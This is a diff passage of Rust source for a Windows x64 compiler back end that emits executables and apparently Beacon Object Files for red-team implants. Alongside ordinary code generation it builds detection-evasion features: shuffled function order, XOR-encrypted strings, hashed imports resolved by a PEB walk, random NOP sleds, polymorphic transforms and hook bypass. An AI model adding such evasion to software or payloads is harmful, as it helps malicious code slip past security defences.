self.enc.add_bss(&label, size); + self.globals_idx.insert(st.name.clone(), self.globals.len()); + self.globals.push(GlobalSlot { + label, + ty: st.ty.clone(), + init: st.init.clone(), + }); + } + + let entry = self.kind.entry_name(); + if let Some(entry_fn) = prog.functions.iter().find(|f| f.name == entry && !f.is_extern) { + self.gen_function(entry_fn)?; + } + let mut order: Vec = (0..prog.functions.len()) + .filter(|&i| !prog.functions[i].is_extern + && prog.functions[i].name != entry) + .collect(); + if self.opsec.reorder_functions { + // Fisher-Yates shuffle using our seeded RNG so the + // resulting layout is reproducible from --seed=N. + for i in (1..order.len()).rev() { + let j = (self.rng.range((i + 1) as u64)) as usize; + order.swap(i, j); + } + } + for idx in order { + self.gen_function(&prog.functions[idx])?; + } + + if !self.kind.is_object() { + if self.needs_gc { gc::emit_runtime(&mut self.enc); } + if self.needs_shared { shared::emit_runtime(&mut self.enc); } + if self.needs_resolver { + if let Some(name) = self.overrides.resolver.clone() { + resolver::emit_with_user_resolver(&mut self.enc, &self.imports, &name); + } else { + // Default path: PEB walk via gs:[0x60]; on non-Windows + // OSes that AVs, so the Linux test harness only stays + // runnable for programs that don't touch Win32. + resolver::emit(&mut self.enc, &self.imports); + } + } + } + + if self.kind.is_object() && self.opsec.hashed_imports { + resolver::emit(&mut self.enc, &self.imports); + } + + if self.needs_veh { + veh::emit_veh_handler(&mut self.enc); + } + + if want_string_xor { + polymorphism::emit_decryptor(&mut self.enc); + } + + let mut opsec_for_pass = self.opsec.clone(); + if self.kind.is_object() { + opsec_for_pass.strings_xor = false; + } + polymorphism::transform(&mut self.enc, &opsec_for_pass, &mut self.rng); + + // Snapshot the dbg marks + vars before finalize consumes the encoder. + let dbg_marks = std::mem::take(&mut self.enc.dbg_marks); + let dbg_vars = std::mem::take(&mut self.enc.dbg_vars); + + let code = if self.kind.is_object() { + let kind = self.kind; + let enc = std::mem::replace(&mut self.enc, crate::encoder::Encoder::new()); + let artifact = enc.finalize_for_coff()?; + Self::emit_coff(kind, artifact)? + } else { + self.enc.finalize()? + }; + + Ok(CompiledBlob { code, dbg_marks, dbg_vars, cna_script: None }) + } + + fn emit_coff(kind: BuildKind, artifact: crate::encoder::CoffArtifact) -> Result, String> { + use crate::coff::{CoffObject, CoffReloc, SectionId, SymKind, IMAGE_REL_AMD64_REL32}; + use crate::encoder::DataSection; + let mut obj = CoffObject::new(); + obj.text.bytes = artifact.text; + obj.rdata.bytes = artifact.rdata; + obj.data.bytes = artifact.data; + obj.bss_size = artifact.bss_size as u32; + + // Entry symbol. Look up go's offset; for the standard build + // it's always 0 (we emit the entry first), but read it from + // the labels map anyway in case future refactors move it. + let entry_name = kind.entry_name(); + let entry_off = *artifact.code_labels.get(entry_name) + .ok_or_else(|| format!("BOF entry `{entry_name}` was never emitted"))? + as u32; + obj.intern(entry_name, SymKind::TextExtern, entry_off); + + for ext in &artifact.externals { + let sym_idx = obj.intern(&ext.sym, SymKind::Undefined, 0); + obj.text.relocs.push(CoffReloc { + at: ext.at, + sym: sym_idx, + ty: IMAGE_REL_AMD64_REL32, + }); + } + + let mut rdata_sym: Option = None; + let mut data_sym: Option = None; + let mut bss_sym: Option = None; + for dr in &artifact.data_relocs { + let sym_idx = match dr.section { + DataSection::Rdata => *rdata_sym.get_or_insert_with(|| { + obj.intern( + ".rdata", + SymKind::DataStatic { section: SectionId::Rdata }, + 0, + ) + }), + DataSection::Data => *data_sym.get_or_insert_with(|| { + obj.intern( + ".data", + SymKind::DataStatic { section: SectionId::Data }, + 0, + ) + }), + DataSection::Bss => *bss_sym.get_or_insert_with(|| { + obj.intern( + ".bss", + SymKind::DataStatic { section: SectionId::Bss }, + 0, + ) + }), + }; + obj.text.relocs.push(CoffReloc { + at: dr.at, + sym: sym_idx, + ty: IMAGE_REL_AMD64_REL32, + }); + } + + crate::coff::emit(&obj) + } + + fn gen_function(&mut self, fn_: &Function) -> Result<(), String> { + self.locals.clear(); + self.local_types.clear(); + self.next_off = 0; + self.current_ret_label = format!(".L{}_ret", fn_.name); + self.current_ret_dst_off = None; + self.current_ret_ty = fn_.ret_ty.clone(); + // Per-function aspect-oriented context - drives the hook + // bypass logic in should_hook. Reset at the top of every + // function so calls inside fn A don't see fn B's [NoHook]. + self.current_fn_hook = collect_fn_hook_ctx(fn_); + + let naked = self.overrides.ntcall.as_deref() == Some(fn_.name.as_str()); + if naked { + self.enc.place_code_label(&fn_.name); + self.gen_block(&fn_.body)?; + // No epilogue, no implicit ret. User's body must end with + // its own ret (usually via asm { ret; }). + return Ok(()); + } + + let returns_struct = self.struct_layouts.contains_key(&fn_.ret_ty); + let hidden_dst_bytes = if returns_struct { 8 } else { 0 }; + let want = self.count_local_bytes(&fn_.body) + + fn_.params.len() * 8 + 32 + + hidden_dst_bytes; + let frame = ((want + 15) / 16) * 16; + + self.enc.place_code_label(&fn_.name); + + let is_entry = fn_.name == self.kind.entry_name(); + if self.opsec.nop_sled { + let max = if is_entry { 65 } else { 17 }; + let n = self.rng.range(max) as usize; + polymorphism::emit_nop_sled(&mut self.enc, &mut self.rng, n); + } + + self.enc.push_r64(Reg64::Rbp); + self.enc.mov_r64_r64(Reg64::Rbp, Reg64::Rsp); + self.enc.sub_r64_imm32(Reg64::Rsp, frame as i32); + + let arg_regs = [Reg64::Rcx, Reg64::Rdx, Reg64::R8, Reg64::R9]; + let arg_shift: usize = if returns_struct { 1 } else { 0 }; + if returns_struct { + let off = self.alloc_local("__ret_dst"); + self.local_types.insert("__ret_dst".into(), format!("{}*", fn_.ret_ty)); + self.enc.mov_rbp_disp_r64(off, Reg64::Rcx); + self.current_ret_dst_off = Some(off); + } + for (i, p) in fn_.params.iter().enumerate() { + let is_struct_param = self.struct_layouts.contains_key(&p.ty); + if Self::is_array_type(&p.ty) { + let elem = parse_array_type(&p.ty).map(|(e, _)| e).unwrap_or("u8"); + return Err(format!( + "param `{}: {}`: array-typed params aren't supported - \ + declare as `{elem}*` and the caller's array decays to a pointer.", + p.name, p.ty + )); + } + let off = self.alloc_local(&p.name); + let internal_ty = if is_struct_param { + format!("{}*", p.ty) + } else { + p.ty.clone() + }; + self.local_types.insert(p.name.clone(), internal_ty); + let abi_i = i + arg_shift; + if abi_i < 4 { + self.enc.mov_rbp_disp_r64(off, arg_regs[abi_i]); + } else { + let caller_off = 48 + ((abi_i - 4) as i32) * 8; + self.enc.mov_r64_rbp_disp(Reg64::Rax, caller_off); + self.enc.mov_rbp_disp_r64(off, Reg64::Rax); + } + } + + if is_entry && self.opsec.strings_xor && !self.kind.is_object() { + self.enc.call_label(polymorphism::DECRYPT_FN_LABEL); + } + + if is_entry && self.opsec.hashed_imports && self.kind.is_object() { + self.enc.call_label("__resolve_imports"); + } + + // main initialises only the subsystems the program actually uses, + // chosen by the pre-scan in generate. Each if here saves both a + // call instruction and the runtime block it would invoke. + if fn_.name == "main" { + if self.needs_shared { + // Caller's rcx is the HostServices* under our entry + // convention (Win64 first-arg register). Save it before any + // of our calls can clobber it. + self.enc.mov_data_r64(shared::SLOT_HOST_SERVICES, Reg64::Rcx); + } + if let Some(name) = self.overrides.bootstrap.clone() { + self.enc.call_label(&name); + } + if self.needs_gc { + self.enc.lea_r64_r64disp(Reg64::Rax, Reg64::Rbp, 16); + self.enc.mov_data_r64(gc::STACK_TOP, Reg64::Rax); + self.enc.call_label("__gc_init"); + } + if self.needs_resolver { + self.enc.call_label("__resolve_imports"); + } + } + + if is_entry { + self.emit_static_initializers()?; + } + + if is_entry && self.needs_veh { + self.emit_veh_register(); + } + + if is_entry { + for name in self.stages.init.clone() { + self.enc.call_label(&name); + } + } + + self.gen_block(&fn_.body)?; + + // Implicit ret 0 fall-through. + self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + self.enc.place_code_label(&self.current_ret_label.clone()); + + if is_entry && !self.stages.exit.is_empty() { + const SAVED_RAX_SLOT: &str = "__opsec_stage_exit_saved_rax"; + if !self.enc.data_has(SAVED_RAX_SLOT) { + self.enc.add_bss(SAVED_RAX_SLOT, 8); + } + self.enc.mov_data_r64(SAVED_RAX_SLOT, Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 0x20); + for name in self.stages.exit.clone() { + self.enc.call_label(&name); + } + self.enc.add_r64_imm32(Reg64::Rsp, 0x20); + self.enc.mov_r64_data(Reg64::Rax, SAVED_RAX_SLOT); + } + + // VEH cleanup before tearing down the frame. Saved-rax dance + // inside emit_veh_unregister preserves whatever value the + // user ret-ed (and any Stage handlers left intact). + if is_entry && self.needs_veh { + self.emit_veh_unregister(); + } + + self.enc.mov_r64_r64(Reg64::Rsp, Reg64::Rbp); + self.enc.pop_r64(Reg64::Rbp); + self.enc.ret(); + Ok(()) + } + + fn gen_block(&mut self, stmts: &[Stmt]) -> Result<(), String> { + for s in stmts { self.gen_stmt(s)?; } + Ok(()) + } + + fn gen_stmt(&mut self, s: &Stmt) -> Result<(), String> { + let (span, kind) = stmt_breadcrumb(s); + self.enc.dbg_mark(span.line, span.col, kind); + match s { + Stmt::Var { name, ty, value, span } => { + let is_struct = self.struct_layouts.contains_key(ty); + let is_array = Self::is_array_type(ty); + if is_struct || is_array { + if is_array && value.is_some() { + return Err(format!( + "`var {name}: {ty} = ...` - array locals can't have an \ + initialiser. Drop the `=` for an in-frame zero-initialised slot." + )); + } + let raw_size = if is_struct { + self.struct_layouts[ty].size + } else { + self.type_size(ty) + }; + let off = self.alloc_local_sized(name, raw_size); + self.local_types.insert(name.clone(), ty.clone()); + self.enc.dbg_var(name, ty, off, span.line, u32::MAX); + self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + let qwords = ((raw_size + 7) / 8) as i32; + for i in 0..qwords { + self.enc.mov_rbp_disp_r64(off + i * 8, Reg64::Rax); + } + if let Some(v) = value { + match v { + Expr::StructLit { ty: lit_ty, fields, .. } => { + if lit_ty != ty { + return Err(format!( + "var `{name}` declared as `{ty}` but initialised with \ + `{lit_ty} {{...}}` - types must match" + )); + } + self.emit_struct_lit_into_rbp(lit_ty, fields, off)?; + } + _ => { + // Evaluate source-address in rax; memcpy bytes + // from src to [rbp+off]. rsi/rdi are non-volatile + // under Win64; preserve them. + self.gen_expr(v)?; + self.enc.push_r64(Reg64::Rsi); + self.enc.push_r64(Reg64::Rdi); + self.enc.mov_r64_r64(Reg64::Rsi, Reg64::Rax); + self.enc.lea_r64_r64disp(Reg64::Rdi, Reg64::Rbp, off); + self.enc.mov_r64_imm64(Reg64::Rcx, raw_size as u64); + self.enc.cld(); + self.enc.rep_movsb(); + self.enc.pop_r64(Reg64::Rdi); + self.enc.pop_r64(Reg64::Rsi); + } + } + } + } else { + let off = self.alloc_local(name); + self.local_types.insert(name.clone(), ty.clone()); + self.enc.dbg_var(name, ty, off, span.line, u32::MAX); + if let Some(v) = value { + self.gen_expr(v)?; + } else { + self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + } + self.enc.mov_rbp_disp_r64(off, Reg64::Rax); + } + } + Stmt::Expr { value: e, .. } => { self.gen_expr(e)?; } + Stmt::Ret { value, .. } => { + if let (Some(e), Some(dst_off)) = (value, self.current_ret_dst_off) { + let size = self.struct_layouts.get(&self.current_ret_ty) + .map(|l| l.size) + .unwrap_or(0); + self.gen_expr(e)?; + self.enc.push_r64(Reg64::Rsi); + self.enc.push_r64(Reg64::Rdi); + self.enc.mov_r64_r64(Reg64::Rsi, Reg64::Rax); + self.enc.mov_r64_rbp_disp(Reg64::Rdi, dst_off); + self.enc.mov_r64_imm64(Reg64::Rcx, size as u64); + self.enc.cld(); + self.enc.rep_movsb(); + self.enc.pop_r64(Reg64::Rdi); + self.enc.pop_r64(Reg64::Rsi); + self.enc.mov_r64_rbp_disp(Reg64::Rax, dst_off); + self.enc.jmp_label(&self.current_ret_label.clone()); + } else { + if let Some(e) = value { self.gen_expr(e)?; } + else { self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); } + self.enc.jmp_label(&self.current_ret_label.clone()); + } + } + Stmt::If { cond, then_body, else_body } => { + let l_else = self.new_label("else"); + let l_end = self.new_label("endif"); + self.gen_expr(cond)?; + self.enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + self.enc.jcc_label(Cond::Z, &l_else); + self.gen_block(then_body)?; + self.enc.jmp_label(&l_end); + self.enc.place_code_label(&l_else); + self.gen_block(else_body)?; + self.enc.place_code_label(&l_end); + } + Stmt::While { cond, body } => { + let l_top = self.new_label("while_top"); + let l_end = self.new_label("while_end"); + self.enc.place_code_label(&l_top); + self.gen_expr(cond)?; + self.enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + self.enc.jcc_label(Cond::Z, &l_end); + // continue in a while re-tests the condition, so the + // continue target is the same label as the top. + self.loop_stack.push((l_top.clone(), l_end.clone())); + self.gen_block(body)?; + self.loop_stack.pop(); + self.enc.jmp_label(&l_top); + self.enc.place_code_label(&l_end); + } + Stmt::For { init, cond, step, body } => { + let l_top = self.new_label("for_top"); + let l_cont = self.new_label("for_cont"); + let l_end = self.new_label("for_end"); + if let Some(i) = init { self.gen_stmt(i)?; } + self.enc.place_code_label(&l_top); + if let Some(c) = cond { + self.gen_expr(c)?; + self.enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + self.enc.jcc_label(Cond::Z, &l_end); + } + self.loop_stack.push((l_cont.clone(), l_end.clone())); + self.gen_block(body)?; + self.loop_stack.pop(); + self.enc.place_code_label(&l_cont); + if let Some(s) = step { self.gen_stmt(s)?; } + self.enc.jmp_label(&l_top); + self.enc.place_code_label(&l_end); + } + Stmt::Break => { + let (_, l_end) = self.loop_stack.last().cloned() + .ok_or_else(|| "`break` outside of a loop".to_string())?; + self.enc.jmp_label(&l_end); + } + Stmt::Continue => { + let (l_cont, _) = self.loop_stack.last().cloned() + .ok_or_else(|| "`continue` outside of a loop".to_string())?; + self.enc.jmp_label(&l_cont); + } + Stmt::Try { body, err_name, handler } => { + let l_handler = self.new_label("try_handler"); + let l_end = self.new_label("try_end"); + + macros::emit_try_prologue(&mut self.enc, &l_handler); + self.gen_block(body)?; + macros::emit_try_epilogue(&mut self.enc); + self.enc.jmp_label(&l_end); + + // Handler entry: by convention rax holds the raised value. + // We spill it into a local named err_name if there's room. + self.enc.place_code_label(&l_handler); + let off = self.alloc_local(err_name); + self.local_types.insert(err_name.clone(), "int".into()); + self.enc.mov_rbp_disp_r64(off, Reg64::Rax); + self.gen_block(handler)?; + self.enc.place_code_label(&l_end); + } + Stmt::Asm(lines) => { + self.gen_asm(lines)?; + } + Stmt::Raise { value, .. } => { + self.gen_expr(value)?; + let fail = self.new_label("raise_fail"); + macros::emit_raise(&mut self.enc, &fail); + } + } + Ok(()) + } + + /// Result of an expression is left in rax. + fn gen_expr(&mut self, e: &Expr) -> Result<(), String> { + match e { + Expr::Int(n) => self.enc.mov_r64_imm64(Reg64::Rax, *n as u64), + Expr::Bool(b) => self.enc.mov_r64_imm64(Reg64::Rax, if *b {1} else {0}), + Expr::Str(s) => { + if self.should_stack_build_str(s) { + self.emit_stack_string(s)?; + } else { + let lbl = format!("__str_{}", self.label_counter); + self.label_counter += 1; + self.enc.add_string(&lbl, s); + self.enc.lea_r64_data(Reg64::Rax, &lbl); + } + } + Expr::Var(name) => { + if let Some(&off) = self.locals.get(name) { + let ty = self.local_types.get(name).cloned().unwrap_or_default(); + if self.struct_layouts.contains_key(&ty) || Self::is_array_type(&ty) { + self.enc.lea_r64_r64disp(Reg64::Rax, Reg64::Rbp, off); + } else { + self.enc.mov_r64_rbp_disp(Reg64::Rax, off); + } + } else if let Some(&idx) = self.globals_idx.get(name) { + // Mirror of the local rules. Struct/array globals lea + // their data label; everything else loads the qword. + let g = &self.globals[idx]; + if self.struct_layouts.contains_key(&g.ty) || Self::is_array_type(&g.ty) { + self.enc.lea_r64_data(Reg64::Rax, &g.label); + } else { + self.enc.mov_r64_data(Reg64::Rax, &g.label); + } + } else if self.fn_ret_types.contains_key(name) { + self.enc.lea_r64_code(Reg64::Rax, name); + } else { + return Err(format!("undefined variable: {name}")); + } + } + Expr::Assign { name, value } => { + if let Some(&off) = self.locals.get(name) { + self.gen_expr(value)?; + self.enc.mov_rbp_disp_r64(off, Reg64::Rax); + } else if let Some(&idx) = self.globals_idx.get(name) { + let label = self.globals[idx].label.clone(); + self.gen_expr(value)?; + self.enc.mov_data_r64(&label, Reg64::Rax); + } else { + return Err(format!("undefined variable: {name}")); + } + } + Expr::Field { base, field } => { + let (offset, ty, size) = self.resolve_field(base, field)?; + self.gen_addr(base)?; // rax = base address + // Array fields and embedded struct fields don't load - they + // decay to the address of their first byte. Indexing / + // field-of-field chains pick up from there. + if Self::is_array_type(&ty) || self.struct_layouts.contains_key(&ty) { + if offset != 0 { + self.enc.add_r64_imm32(Reg64::Rax, offset); + } + } else { + match size { + 1 => self.enc.movzx_r64_byte_r64disp(Reg64::Rax, Reg64::Rax, offset), + 2 => self.enc.movzx_r64_word_r64disp(Reg64::Rax, Reg64::Rax, offset), + 4 => self.enc.mov_r32_r64disp(Reg64::Rax, Reg64::Rax, offset), + 8 => self.enc.mov_r64_r64disp(Reg64::Rax, Reg64::Rax, offset), + n => return Err(format!("field load: size {n} not supported (use a pointer field)")), + } + } + } + Expr::FieldAssign { base, field, value } => { + let (offset, _ty, size) = self.resolve_field(base, field)?; + // Evaluate value first, stash on stack (pair-aligned). + self.gen_expr(value)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); + self.gen_addr(base)?; // rax = base address + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(Reg64::Rax); // restore the value + // Width-correct store; the low size bytes of rax are written. + match size { + 1 => self.enc.mov_byte_r64disp_r8(Reg64::Rcx, offset, Reg64::Rax), + 2 => self.enc.mov_word_r64disp_r16(Reg64::Rcx, offset, Reg64::Rax), + 4 => self.enc.mov_dword_r64disp_r32(Reg64::Rcx, offset, Reg64::Rax), + 8 => self.enc.mov_r64disp_r64(Reg64::Rcx, offset, Reg64::Rax), + n => return Err(format!("field store: size {n} not supported")), + } + } + Expr::Cast { ty, expr } => { + if ty == "wstr" { + if let Expr::Str(s) = expr.as_ref() { + let lbl = format!("__wstr_{}", self.label_counter); + self.label_counter += 1; + let mut bytes = Vec::with_capacity(s.len() * 2 + 2); + for u in s.encode_utf16() { + bytes.extend_from_slice(&u.to_le_bytes()); + } + bytes.push(0); bytes.push(0); + self.enc.add_data(&lbl, &bytes); + self.enc.lea_r64_data(Reg64::Rax, &lbl); + return Ok(()); + } + return Err( + "(wstr) cast supports only string literals in V1; \ + runtime ASCII to UTF-16 conversion isn't wired up yet".into() + ); + } + if let Some(lit) = literal_int_value(expr) { + if let Some(narrowed) = narrow_int_literal(ty, lit) { + self.enc.mov_r64_imm64(Reg64::Rax, narrowed as u64); + return Ok(()); + } + } + self.gen_expr(expr)?; + } + Expr::SizeOf { ty } => { + let size = self.type_size(ty) as u64; + self.enc.mov_r64_imm64(Reg64::Rax, size); + } + Expr::Unary { op, operand } => { + // & and * don't follow the "evaluate operand, then operate" + // pattern - they need the variable's address or the + // pointer's value as the starting point. + if op == "&" { + return self.gen_addr_of(operand); + } + if op == "*" { + // Determine pointee width before clobbering operand + // typing. Defaults to qword if we can't infer. + let inner_ty = self.expr_type(operand); + let pointee_ty = pointee(&inner_ty) + .map(String::from) + .unwrap_or_else(|| inner_ty.clone()); + // Loading a struct value into rax doesn't make sense - + // structs are multi-byte and we have no in-register + // struct representation. Direct user to (*p).field. + if self.struct_layouts.contains_key(&pointee_ty) { + return Err(format!( + "`*` on a `{inner_ty}` doesn't yield a usable value - \ + use `(*p).field` for fields or pass `p` directly" + )); + } + self.gen_expr(operand)?; // rax = pointer + self.emit_load_width(&pointee_ty, Reg64::Rax); + return Ok(()); + } + self.gen_expr(operand)?; + match op.as_str() { + "-" => { + // neg rax = REX.W F7 /3 + self.enc.emit_raw(0x48); + self.enc.emit_raw(0xF7); + self.enc.emit_raw(0xD8); // mod=11 /3 rm=000(rax) + } + "!" => { + self.enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + // sete al = 0F 94 C0 + self.enc.emit_raw(0x0F); + self.enc.emit_raw(0x94); + self.enc.emit_raw(0xC0); + // movzx eax, al = 0F B6 C0 - implicit zero-extend + // to rax. 3 bytes vs 4 for the REX.W form. + self.enc.emit_raw(0x0F); + self.enc.emit_raw(0xB6); + self.enc.emit_raw(0xC0); + } + "~" => self.enc.not_r64(Reg64::Rax), + _ => return Err(format!("unknown unary op: {op}")), + } + } + Expr::Binary { op, lhs, rhs } => self.gen_binary(op, lhs, rhs)?, + Expr::Call { ns, fname, args, .. } => self.gen_call(ns, fname, args)?, + Expr::DerefAssign { ptr, value } => { + // Same shape as FieldAssign - evaluate value, stash it, + // evaluate ptr, then width-correct store at [rcx]. + let inner_ty = self.expr_type(ptr); + let pointee_ty = pointee(&inner_ty) + .map(String::from) + .unwrap_or_else(|| inner_ty.clone()); + self.gen_expr(value)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); + self.gen_expr(ptr)?; + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(Reg64::Rax); + self.emit_store_width(&pointee_ty, Reg64::Rcx); + } + Expr::Index { base, index } => { + self.gen_index_load(base, index)?; + } + Expr::IndexAssign { base, index, value } => { + self.gen_index_store(base, index, value)?; + } + Expr::StructLit { ty, fields, .. } => { + let layout = self.struct_layouts.get(ty) + .ok_or_else(|| format!( + "unknown struct `{ty}` in struct literal" + ))?; + let raw_size = layout.size; + let tmp_name = format!("__lit_tmp_{}", self.label_counter); + self.label_counter += 1; + let off = self.alloc_local_sized(&tmp_name, raw_size); + // Zero-fill, then write each field. Address of the slot + // ends up in rax for the caller to use as the struct + // base. Order: zero, fields, lea rax. + self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + let qwords = ((raw_size + 7) / 8) as i32; + for i in 0..qwords { + self.enc.mov_rbp_disp_r64(off + i * 8, Reg64::Rax); + } + self.emit_struct_lit_into_rbp(ty, fields, off)?; + self.enc.lea_r64_r64disp(Reg64::Rax, Reg64::Rbp, off); + } + } + Ok(()) + } + + fn emit_struct_lit_into_rbp( + &mut self, + ty: &str, + fields: &[(String, Expr)], + base_off: i32, + ) -> Result<(), String> { + // Clone the layout fields out so we can call back into gen_expr + // without holding a borrow of self.struct_layouts. + let layout = self.struct_layouts.get(ty) + .ok_or_else(|| format!("unknown struct `{ty}` in struct literal"))? + .clone(); + for (fname, fval) in fields { + let f = layout.fields.get(fname).ok_or_else(|| format!( + "struct `{ty}` has no field `{fname}`" + ))?; + let foff = base_off + f.offset; + self.gen_expr(fval)?; + match f.size { + 1 => self.enc.mov_byte_r64disp_r8(Reg64::Rbp, foff, Reg64::Rax), + 2 => self.enc.mov_word_r64disp_r16(Reg64::Rbp, foff, Reg64::Rax), + 4 => self.enc.mov_dword_r64disp_r32(Reg64::Rbp, foff, Reg64::Rax), + 8 => self.enc.mov_rbp_disp_r64(foff, Reg64::Rax), + n => return Err(format!( + "struct literal: field `{ty}.{fname}` has size {n}; \ + only 1/2/4/8 byte fields supported" + )), + } + } + Ok(()) + } + + fn gen_index_load(&mut self, base: &Expr, index: &Expr) -> Result<(), String> { + let elem_ty = self.index_element_type(base)?; + let elem_size = self.type_size(&elem_ty); + if self.struct_layouts.contains_key(&elem_ty) { + return Err(format!( + "indexing yields a struct-typed element (`{elem_ty}`) - \ + in-register struct values aren't supported. Index a pointer or \ + use `&base[i]` then `.field`." + )); + } + + // Evaluate the index first, save it, then evaluate the base. The + // base is an arbitrary expression (var, field, call, deref) so it + // gets the standard rcx-scratch path. + self.gen_expr(index)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); + self.gen_index_base(base)?; + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); // rcx = base + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(Reg64::Rdx); // rdx = index + + match elem_size { + 1 => self.enc.movzx_r64_byte_base_idx(Reg64::Rax, Reg64::Rcx, Reg64::Rdx), + 2 => self.enc.movzx_r64_word_base_idx(Reg64::Rax, Reg64::Rcx, Reg64::Rdx), + 4 => self.enc.mov_r32_base_idx(Reg64::Rax, Reg64::Rcx, Reg64::Rdx), + 8 => self.enc.mov_r64_base_idx(Reg64::Rax, Reg64::Rcx, Reg64::Rdx), + n => { + // Fall-back: imul rdx, rdx, n; mov rax, [rcx + rdx] + self.enc.mov_r64_imm64(Reg64::Rax, n as u64); + // imul rdx, rax = REX.W 0F AF D0 - uses rdx <- rdx*rax + self.enc.emit_raw(0x48); + self.enc.emit_raw(0x0F); + self.enc.emit_raw(0xAF); + self.enc.emit_raw(0xD0); + self.enc.mov_r64_r64disp(Reg64::Rax, Reg64::Rcx, 0); + // For non-power-of-2 sizes we just deliver the qword at + // the computed offset. Callers needing partial-width + // loads should declare a more precise element type. + let _ = Reg64::Rdx; // suppress unused warning if any + } + } + Ok(()) + } + + /// Lower base[index] = value. Same register convention as + /// [gen_index_load], plus the value spills to a stack slot while + /// the base/index are computed. + fn gen_index_store(&mut self, base: &Expr, index: &Expr, value: &Expr) -> Result<(), String> { + let elem_ty = self.index_element_type(base)?; + let elem_size = self.type_size(&elem_ty); + if self.struct_layouts.contains_key(&elem_ty) { + return Err(format!( + "indexed write to a struct-typed element (`{elem_ty}`) isn't supported. \ + Write field-by-field via `((TYPE)&base[i]).field = ...`." + )); + } + + // Save the value to a stack slot, then the index, then evaluate the + // base. After: rcx = base, rdx = index, rax = value. + self.gen_expr(value)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); + self.gen_expr(index)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); + self.gen_index_base(base)?; + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); // rcx = base + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(Reg64::Rdx); // rdx = index + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(Reg64::Rax); // rax = value + + match elem_size { + 1 => self.enc.mov_byte_base_idx_r8(Reg64::Rcx, Reg64::Rdx, Reg64::Rax), + 2 => self.enc.mov_word_base_idx_r16(Reg64::Rcx, Reg64::Rdx, Reg64::Rax), + 4 => self.enc.mov_dword_base_idx_r32(Reg64::Rcx, Reg64::Rdx, Reg64::Rax), + 8 => self.enc.mov_qword_base_idx_r64(Reg64::Rcx, Reg64::Rdx, Reg64::Rax), + n => return Err(format!( + "indexed store with element size {n} isn't supported \ + (only 1/2/4/8 today)" + )), + } + Ok(()) + } + + fn gen_index_base(&mut self, base: &Expr) -> Result<(), String> { + self.gen_expr(base) + } + + /// Look at the static type of base and decide what element type + /// base[i] produces. Either T[N] to T, T* to T, or an error. + fn index_element_type(&self, base: &Expr) -> Result { + let ty = self.expr_type(base); + if let Some(elem) = Self::element_type(&ty) { + Ok(elem) + } else { + Err(format!( + "cannot index a value of type `{ty}` - only pointer (`T*`) \ + and array (`T[N]`) types support `[i]`" + )) + } + } + + fn gen_binary(&mut self, op: &str, lhs: &Expr, rhs: &Expr) -> Result<(), String> { + // Short-circuit boolean ops + if op == "&&" || op == "||" { + let l_short = self.new_label(if op == "&&" {"and_sc"} else {"or_sc"}); + let l_end = self.new_label("logic_end"); + self.gen_expr(lhs)?; + self.enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + self.enc.jcc_label(if op == "&&" { Cond::Z } else { Cond::Nz }, &l_short); + self.gen_expr(rhs)?; + self.enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + self.enc.jcc_label(if op == "&&" { Cond::Z } else { Cond::Nz }, &l_short); + self.enc.mov_r64_imm64(Reg64::Rax, if op == "&&" {1} else {0}); + self.enc.jmp_label(&l_end); + self.enc.place_code_label(&l_short); + self.enc.mov_r64_imm64(Reg64::Rax, if op == "&&" {0} else {1}); + self.enc.place_code_label(&l_end); + return Ok(()); + } + + // Standard binary: eval lhs, save (paired for alignment), eval rhs, combine. + self.gen_expr(lhs)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); // align padding + self.gen_expr(rhs)?; + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(Reg64::Rax); + + match op { + "+" => self.enc.add_r64_r64(Reg64::Rax, Reg64::Rcx), + "-" => self.enc.sub_r64_r64(Reg64::Rax, Reg64::Rcx), + "*" => { + // imul rax, rcx = REX.W 0F AF C1 + self.enc.emit_raw(0x48); + self.enc.emit_raw(0x0F); + self.enc.emit_raw(0xAF); + self.enc.emit_raw(0xC1); + } + "/" | "%" => { + // cqo + idiv rcx, then move rdx -> rax for % + self.enc.emit_raw(0x48); self.enc.emit_raw(0x99); // cqo + self.enc.emit_raw(0x48); self.enc.emit_raw(0xF7); self.enc.emit_raw(0xF9); // idiv rcx + if op == "%" { self.enc.mov_r64_r64(Reg64::Rax, Reg64::Rdx); } + } + "==" | "!=" | "<" | ">" | "<=" | ">=" => { + self.enc.cmp_r64_r64(Reg64::Rax, Reg64::Rcx); + // setcc al + let cc = match op { + "==" => 0x94, "!=" => 0x95, + "<" => 0x9C, ">=" => 0x9D, + "<=" => 0x9E, ">" => 0x9F, + _ => unreachable!(), + }; + self.enc.emit_raw(0x0F); self.enc.emit_raw(cc); self.enc.emit_raw(0xC0); + // movzx eax, al - 